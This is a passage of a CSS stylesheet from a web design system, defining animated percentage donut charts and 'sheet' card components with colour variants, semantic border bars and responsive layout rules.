.quotadonut--animated.quotadonut--86 .quotadonut__segment {
-webkit-animation: exos__quotadonut__86 2s ease-in-out;
animation: exos__quotadonut__86 2s ease-in-out
}
.quotadonut--87 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 87 13
}
@-webkit-keyframes exos__quotadonut__87 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
40.22989% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 87 13
}
}
@keyframes exos__quotadonut__87 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
40.22989% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 87 13
}
}
.quotadonut--animated.quotadonut--87 .quotadonut__segment {
-webkit-animation: exos__quotadonut__87 2s ease-in-out;
animation: exos__quotadonut__87 2s ease-in-out
}
.quotadonut--88 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 88 12
}
@-webkit-keyframes exos__quotadonut__88 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
39.77273% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 88 12
}
}
@keyframes exos__quotadonut__88 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
39.77273% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 88 12
}
}
.quotadonut--animated.quotadonut--88 .quotadonut__segment {
-webkit-animation: exos__quotadonut__88 2s ease-in-out;
animation: exos__quotadonut__88 2s ease-in-out
}
.quotadonut--89 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 89 11
}
@-webkit-keyframes exos__quotadonut__89 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
39.32584% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 89 11
}
}
@keyframes exos__quotadonut__89 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
39.32584% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 89 11
}
}
.quotadonut--animated.quotadonut--89 .quotadonut__segment {
-webkit-animation: exos__quotadonut__89 2s ease-in-out;
animation: exos__quotadonut__89 2s ease-in-out
}
.quotadonut--90 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 90 10
}
@-webkit-keyframes exos__quotadonut__90 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.88889% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 90 10
}
}
@keyframes exos__quotadonut__90 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.88889% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 90 10
}
}
.quotadonut--animated.quotadonut--90 .quotadonut__segment {
-webkit-animation: exos__quotadonut__90 2s ease-in-out;
animation: exos__quotadonut__90 2s ease-in-out
}
.quotadonut--91 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 91 9
}
@-webkit-keyframes exos__quotadonut__91 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.46154% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 91 9
}
}
@keyframes exos__quotadonut__91 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.46154% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 91 9
}
}
.quotadonut--animated.quotadonut--91 .quotadonut__segment {
-webkit-animation: exos__quotadonut__91 2s ease-in-out;
animation: exos__quotadonut__91 2s ease-in-out
}
.quotadonut--92 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 92 8
}
@-webkit-keyframes exos__quotadonut__92 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.04348% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 92 8
}
}
@keyframes exos__quotadonut__92 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
38.04348% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 92 8
}
}
.quotadonut--animated.quotadonut--92 .quotadonut__segment {
-webkit-animation: exos__quotadonut__92 2s ease-in-out;
animation: exos__quotadonut__92 2s ease-in-out
}
.quotadonut--93 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 93 7
}
@-webkit-keyframes exos__quotadonut__93 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
37.63441% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 93 7
}
}
@keyframes exos__quotadonut__93 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
37.63441% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 93 7
}
}
.quotadonut--animated.quotadonut--93 .quotadonut__segment {
-webkit-animation: exos__quotadonut__93 2s ease-in-out;
animation: exos__quotadonut__93 2s ease-in-out
}
.quotadonut--94 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 94 6
}
@-webkit-keyframes exos__quotadonut__94 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
37.23404% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 94 6
}
}
@keyframes exos__quotadonut__94 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
37.23404% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 94 6
}
}
.quotadonut--animated.quotadonut--94 .quotadonut__segment {
-webkit-animation: exos__quotadonut__94 2s ease-in-out;
animation: exos__quotadonut__94 2s ease-in-out
}
.quotadonut--95 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 95 5
}
@-webkit-keyframes exos__quotadonut__95 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.84211% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 95 5
}
}
@keyframes exos__quotadonut__95 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.84211% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 95 5
}
}
.quotadonut--animated.quotadonut--95 .quotadonut__segment {
-webkit-animation: exos__quotadonut__95 2s ease-in-out;
animation: exos__quotadonut__95 2s ease-in-out
}
.quotadonut--96 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 96 4
}
@-webkit-keyframes exos__quotadonut__96 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.45833% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 96 4
}
}
@keyframes exos__quotadonut__96 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.45833% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 96 4
}
}
.quotadonut--animated.quotadonut--96 .quotadonut__segment {
-webkit-animation: exos__quotadonut__96 2s ease-in-out;
animation: exos__quotadonut__96 2s ease-in-out
}
.quotadonut--97 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 97 3
}
@-webkit-keyframes exos__quotadonut__97 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.08247% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 97 3
}
}
@keyframes exos__quotadonut__97 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
36.08247% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 97 3
}
}
.quotadonut--animated.quotadonut--97 .quotadonut__segment {
-webkit-animation: exos__quotadonut__97 2s ease-in-out;
animation: exos__quotadonut__97 2s ease-in-out
}
.quotadonut--98 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 98 2
}
@-webkit-keyframes exos__quotadonut__98 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35.71429% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 98 2
}
}
@keyframes exos__quotadonut__98 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35.71429% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 98 2
}
}
.quotadonut--animated.quotadonut--98 .quotadonut__segment {
-webkit-animation: exos__quotadonut__98 2s ease-in-out;
animation: exos__quotadonut__98 2s ease-in-out
}
.quotadonut--99 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 99 1
}
@-webkit-keyframes exos__quotadonut__99 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35.35354% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 99 1
}
}
@keyframes exos__quotadonut__99 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35.35354% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 99 1
}
}
.quotadonut--animated.quotadonut--99 .quotadonut__segment {
-webkit-animation: exos__quotadonut__99 2s ease-in-out;
animation: exos__quotadonut__99 2s ease-in-out
}
.quotadonut--100 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 100 0
}
@-webkit-keyframes exos__quotadonut__100 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 100 0
}
}
@keyframes exos__quotadonut__100 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
35% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 100 0
}
}
.quotadonut--animated.quotadonut--100 .quotadonut__segment {
-webkit-animation: exos__quotadonut__100 2s ease-in-out;
animation: exos__quotadonut__100 2s ease-in-out
}
.quotadonut--success .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954)
}
.quotadonut--warning .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0)
}
.quotadonut--critical .quotadonut__segment {
stroke: var(--critical-shape-color,#f50c00)
}
.quotadonut--neutral .quotadonut__segment {
stroke: var(--neutral-shape-color,#718095)
}
.quotadonut--activating .quotadonut__segment {
stroke: var(--activating-shape-color,#11c7e6)
}
.quotadonut--corporate .quotadonut__segment {
stroke: var(--corporate-shape-color,#001b41)
}
.quotadonut--promoting .quotadonut__segment {
stroke: var(--promoting-shape-color,#b410e7)
}
.quotadonut--animated-fast.quotadonut--animated-fast .quotadonut__segment,.quotadonut--animated.quotadonut--small .quotadonut__segment {
-webkit-animation-duration: 1s;
animation-duration: 1s
}
.quotadonut__text {
fill: var(--default-text-color,#001b41);
text-anchor: middle;
-webkit-transform: translate(50%,53.5%) translateY(.33em);
transform: translate(50%,53.5%) translateY(.33em)
}
.clearfix:after {
clear: both;
content: "";
display: table
}
.sheet {
background-color: var(--white,#fff);
border: var(--sheet-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--sheet-shadow,0 1px 2px 0 #718095);
margin-bottom: 32px;
overflow: hidden;
transition: box-shadow .3s ease-out
}
.sheet--cropped {
margin-bottom: 0
}
.sheet--badge {
padding-top: 15px
}
.sheet--badge .badge--positioned {
position: static
}
.sheet--actions .button,.sheet--actions .ghost-button,.sheet--actions .toggle-button {
margin-bottom: 6px;
margin-top: 6px
}
.sheet>:first-child {
border-top-left-radius: calc(var(--default-border-radius, 16px) - 1px);
border-top-right-radius: calc(var(--default-border-radius, 16px) - 1px)
}
.sheet>:last-child {
border-bottom-left-radius: calc(var(--default-border-radius, 16px) - 1px);
border-bottom-right-radius: calc(var(--default-border-radius, 16px) - 1px);
overflow: hidden
}
.sheet--activating,.sheet--corporate,.sheet--critical,.sheet--neutral,.sheet--promoting,.sheet--success,.sheet--warning {
background-color: #fff
}
.sheet--success {
border: 2px solid var(--success-shape-color,#0fa954)
}
.sheet--warning {
border: 2px solid var(--warning-shape-color,#fa0)
}
.sheet--critical {
border: 2px solid var(--critical-shape-color,#f50c00)
}
.sheet--neutral {
border: 2px solid var(--neutral-shape-color,#718095)
}
.sheet--activating {
border: 2px solid var(--activating-shape-color,#11c7e6)
}
.sheet--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7)
}
.sheet--corporate {
border: 2px solid var(--corporate-shape-color,#001b41)
}
@media only screen and (max-width: 666px) {
.sheet {
border-radius:var(--small-border-radius,8px);
margin: 0 0 14px
}
.sheet+.sheet {
margin-top: 16px
}
.sheet>:first-child {
border-top-left-radius: 0;
border-top-right-radius: 0
}
.sheet>:last-child {
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
overflow: hidden
}
}
.sheet__badge {
margin-bottom: 16px
}
@media only screen and (max-width: 666px) {
.sheet__badge {
margin-bottom:8px
}
}
.sheet__badge--positioned {
margin-bottom: 16px;
margin-left: -32px;
margin-top: -6px
}
@media only screen and (max-width: 666px) {
.sheet__badge--positioned {
margin-bottom:8px;
margin-left: -16px;
margin-top: -3px
}
}
.sheet__badge--positioned .badge {
border-bottom-left-radius: 0;
border-top-left-radius: 0;
padding-left: 16px
}
.sheet__section {
margin-bottom: 0;
padding: 28px 30px;
position: relative
}
.sheet__section--condensed {
padding: 16px 30px
}
.sheet__section--cropped {
padding: 0 30px
}
@media only screen and (max-width: 666px) {
.sheet__section {
padding:16px
}
}
.sheet__section--growing {
display: flex;
flex-grow: 1
}
.sheet__section--active {
border-left: 8px solid var(--caution-shape-color,#ffd176);
margin: 0;
padding-left: 24px;
z-index: 2
}
@media only screen and (max-width: 666px) {
.sheet__section--active {
margin-left:0
}
}
.sheet__section--activating+.sheet__section--activating,.sheet__section--activating+.sheet__section--advertising,.sheet__section--activating+.sheet__section--corporate,.sheet__section--activating+.sheet__section--critical,.sheet__section--activating+.sheet__section--neutral,.sheet__section--activating+.sheet__section--promoting,.sheet__section--activating+.sheet__section--success,.sheet__section--activating+.sheet__section--warning,.sheet__section--advertising+.sheet__section--activating,.sheet__section--advertising+.sheet__section--advertising,.sheet__section--advertising+.sheet__section--corporate,.sheet__section--advertising+.sheet__section--critical,.sheet__section--advertising+.sheet__section--neutral,.sheet__section--advertising+.sheet__section--promoting,.sheet__section--advertising+.sheet__section--success,.sheet__section--advertising+.sheet__section--warning,.sheet__section--corporate+.sheet__section--activating,.sheet__section--corporate+.sheet__section--advertising,.sheet__section--corporate+.sheet__section--corporate,.sheet__section--corporate+.sheet__section--critical,.sheet__section--corporate+.sheet__section--neutral,.sheet__section--corporate+.sheet__section--promoting,.sheet__section--corporate+.sheet__section--success,.sheet__section--corporate+.sheet__section--warning,.sheet__section--critical+.sheet__section--activating,.sheet__section--critical+.sheet__section--advertising,.sheet__section--critical+.sheet__section--corporate,.sheet__section--critical+.sheet__section--critical,.sheet__section--critical+.sheet__section--neutral,.sheet__section--critical+.sheet__section--promoting,.sheet__section--critical+.sheet__section--success,.sheet__section--critical+.sheet__section--warning,.sheet__section--neutral+.sheet__section--activating,.sheet__section--neutral+.sheet__section--advertising,.sheet__section--neutral+.sheet__section--corporate,.sheet__section--neutral+.sheet__section--critical,.sheet__section--neutral+.sheet__section--neutral,.sheet__section--neutral+.sheet__section--promoting,.sheet__section--neutral+.sheet__section--success,.sheet__section--neutral+.sheet__section--warning,.sheet__section--promoting+.sheet__section--activating,.sheet__section--promoting+.sheet__section--advertising,.sheet__section--promoting+.sheet__section--corporate,.sheet__section--promoting+.sheet__section--critical,.sheet__section--promoting+.sheet__section--neutral,.sheet__section--promoting+.sheet__section--promoting,.sheet__section--promoting+.sheet__section--success,.sheet__section--promoting+.sheet__section--warning,.sheet__section--success+.sheet__section--activating,.sheet__section--success+.sheet__section--advertising,.sheet__section--success+.sheet__section--corporate,.sheet__section--success+.sheet__section--critical,.sheet__section--success+.sheet__section--neutral,.sheet__section--success+.sheet__section--promoting,.sheet__section--success+.sheet__section--success,.sheet__section--success+.sheet__section--warning,.sheet__section--warning+.sheet__section--activating,.sheet__section--warning+.sheet__section--advertising,.sheet__section--warning+.sheet__section--corporate,.sheet__section--warning+.sheet__section--critical,.sheet__section--warning+.sheet__section--neutral,.sheet__section--warning+.sheet__section--promoting,.sheet__section--warning+.sheet__section--success,.sheet__section--warning+.sheet__section--warning {
margin-top: -2px
}
.sheet__section--align-center {
justify-content: center;
text-align: center
}
.sheet__section--align-left {
justify-content: flex-start;
text-align: left
}
.sheet__section--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.sheet__section--large-align-center {
justify-content:center;
text-align: center
}
.sheet__section--large-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__section--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__section--medium-align-center {
justify-content:center;
text-align: center
}
.sheet__section--medium-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__section--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.sheet__section--small-align-center {
justify-content:center;
text-align: center
}
.sheet__section--small-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__section--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.sheet__section--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.sheet__section--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__section--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.sheet__section--small-hidden {
display:none
}
}
.sheet__section--primary {
background-color: var(--primary-background-color,#fff)
}
.sheet__section--secondary {
background-color: var(--secondary-background-color,#fff)
}
.sheet__section--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.sheet__section--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.sheet__section--advertising>.headline,.sheet__section--advertising>.paragraph {
color: var(--white,#fff)
}
.sheet__section--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.sheet__section--beta>.headline,.sheet__section--beta>.paragraph {
color: var(--white,#fff)
}
.sheet__section--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.sheet__section--premium>.headline,.sheet__section--premium>.paragraph {
color: var(--white,#fff)
}
.sheet__section--activating,.sheet__section--corporate,.sheet__section--critical,.sheet__section--neutral,.sheet__section--promoting,.sheet__section--success,.sheet__section--warning {
background-color: #fff
}
.sheet__section--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.sheet__section--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.sheet__section--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.sheet__section--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.sheet__section--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-success:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-success:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-success:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.sheet__section--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-warning:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-warning:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-warning:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.sheet__section--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-critical:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-critical:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-critical:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.sheet__section--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-neutral:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-neutral:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-neutral:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.sheet__section--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-activating:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-activating:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-activating:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.sheet__section--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-corporate:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-corporate:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-corporate:only-child {
border-radius:0
}
}
.sheet__section--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.sheet__section--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-promoting:first-child {
border-radius:0
}
}
.sheet__section--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-promoting:last-child {
border-radius:0
}
}
.sheet__section--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--semantic-bar-promoting:only-child {
border-radius:0
}
}
.sheet__section--success {
border: 2px solid var(--success-shape-color,#0fa954);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--success {
border-left:none;
border-right: none
}
}
.sheet__section--success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--success:first-child {
border-radius:0
}
}
.sheet__section--success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--success:last-child {
border-radius:0
}
}
.sheet__section--success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--success:only-child {
border-radius:0
}
}
.sheet__section--warning {
border: 2px solid var(--warning-shape-color,#fa0);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--warning {
border-left:none;
border-right: none
}
}
.sheet__section--warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--warning:first-child {
border-radius:0
}
}
.sheet__section--warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--warning:last-child {
border-radius:0
}
}
.sheet__section--warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--warning:only-child {
border-radius:0
}
}
.sheet__section--critical {
border: 2px solid var(--critical-shape-color,#f50c00);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--critical {
border-left:none;
border-right: none
}
}
.sheet__section--critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--critical:first-child {
border-radius:0
}
}
.sheet__section--critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--critical:last-child {
border-radius:0
}
}
.sheet__section--critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--critical:only-child {
border-radius:0
}
}
.sheet__section--neutral {
border: 2px solid var(--neutral-shape-color,#718095);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--neutral {
border-left:none;
border-right: none
}
}
.sheet__section--neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--neutral:first-child {
border-radius:0
}
}
.sheet__section--neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--neutral:last-child {
border-radius:0
}
}
.sheet__section--neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--neutral:only-child {
border-radius:0
}
}
.sheet__section--activating {
border: 2px solid var(--activating-shape-color,#11c7e6);
margin: -1px
}
